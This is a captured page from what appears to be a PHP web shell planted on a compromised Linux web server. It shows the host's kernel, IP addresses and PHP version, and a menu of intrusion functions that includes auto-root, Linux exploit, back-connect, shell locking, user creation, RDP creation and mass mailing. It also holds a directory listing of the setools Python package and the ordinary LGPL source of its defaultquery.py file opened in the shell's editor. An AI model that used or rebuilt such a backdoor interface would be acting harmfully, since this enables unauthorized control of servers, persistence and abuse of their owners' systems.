Linux salto.nuvemidc.com 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
LiteSpeed
: 177.73.233.61 | : 216.73.217.116
Cant Read [ /etc/named.conf ]
7.4.33
agenci18
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
lib64 /
python3.9 /
site-packages /
setools /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
checker
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
__init__.py
3.24
KB
-rw-r--r--
boolquery.py
1.7
KB
-rw-r--r--
boundsquery.py
1.8
KB
-rw-r--r--
categoryquery.py
1.34
KB
-rw-r--r--
commonquery.py
1.58
KB
-rw-r--r--
constraintquery.py
4.99
KB
-rw-r--r--
defaultquery.py
2.29
KB
-rw-r--r--
descriptors.py
9.7
KB
-rw-r--r--
devicetreeconquery.py
2.22
KB
-rw-r--r--
dta.py
22.67
KB
-rw-r--r--
exception.py
5.96
KB
-rw-r--r--
fsusequery.py
2.8
KB
-rw-r--r--
genfsconquery.py
3.18
KB
-rw-r--r--
ibendportconquery.py
3.05
KB
-rw-r--r--
ibpkeyconquery.py
4.89
KB
-rw-r--r--
infoflow.py
15.54
KB
-rw-r--r--
initsidquery.py
2.25
KB
-rw-r--r--
iomemconquery.py
4
KB
-rw-r--r--
ioportconquery.py
4.02
KB
-rw-r--r--
mixins.py
6.82
KB
-rw-r--r--
mlsrulequery.py
4.09
KB
-rw-r--r--
netifconquery.py
2.4
KB
-rw-r--r--
nodeconquery.py
3.9
KB
-rw-r--r--
objclassquery.py
3.27
KB
-rw-r--r--
pcideviceconquery.py
2.58
KB
-rw-r--r--
perm_map
84.1
KB
-rw-r--r--
permmap.py
16.2
KB
-rw-r--r--
pirqconquery.py
2.48
KB
-rw-r--r--
polcapquery.py
1.12
KB
-rw-r--r--
policyrep.cpython-39-x86_64-li...
1.45
MB
-rwxr-xr-x
policyrep.pyi
51.03
KB
-rw-r--r--
portconquery.py
4.77
KB
-rw-r--r--
py.typed
0
B
-rw-r--r--
query.py
1.24
KB
-rw-r--r--
rbacrulequery.py
5.33
KB
-rw-r--r--
rolequery.py
1.95
KB
-rw-r--r--
sensitivityquery.py
2.22
KB
-rw-r--r--
terulequery.py
8.73
KB
-rw-r--r--
typeattrquery.py
2.11
KB
-rw-r--r--
typequery.py
2.95
KB
-rw-r--r--
userquery.py
4.19
KB
-rw-r--r--
util.py
7.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : defaultquery.py
# Copyright 2014-2015, Tresys Technology, LLC # # SPDX-License-Identifier: LGPL-2.1-only # import logging import re from typing import cast, Iterable from .query import PolicyQuery from .descriptors import CriteriaDescriptor, CriteriaSetDescriptor from .mixins import MatchObjClass from .policyrep import AnyDefault, DefaultRange, DefaultRuletype, DefaultValue, DefaultRangeValue class DefaultQuery(MatchObjClass, PolicyQuery): """ Query default_* statements. Parameter: policy The policy to query. Keyword Parameters/Class attributes: ruletype The rule type(s) to match. tclass The object class(es) to match. tclass_regex If true, use a regular expression for matching the rule's object class. default The default to base new contexts (e.g. "source" or "target") default_range The range to use on new context, default_range only ("low", "high", "low_high") """ ruletype = CriteriaSetDescriptor(enum_class=DefaultRuletype) default = CriteriaDescriptor(enum_class=DefaultValue) default_range = CriteriaDescriptor(enum_class=DefaultRangeValue) def __init__(self, policy, **kwargs) -> None: super(DefaultQuery, self).__init__(policy, **kwargs) self.log = logging.getLogger(__name__) def results(self) -> Iterable[AnyDefault]: """Generator which yields all matching default_* statements.""" self.log.info("Generating default_* results from {0.policy}".format(self)) self.log.debug("Ruletypes: {0.ruletype!r}".format(self)) self._match_object_class_debug(self.log) self.log.debug("Default: {0.default!r}".format(self)) self.log.debug("Range: {0.default_range!r}".format(self)) for d in self.policy.defaults(): if self.ruletype and d.ruletype not in self.ruletype: continue if not self._match_object_class(d): continue if self.default and d.default != self.default: continue if self.default_range: try: if cast(DefaultRange, d).default_range != self.default_range: continue except AttributeError: continue yield d
Close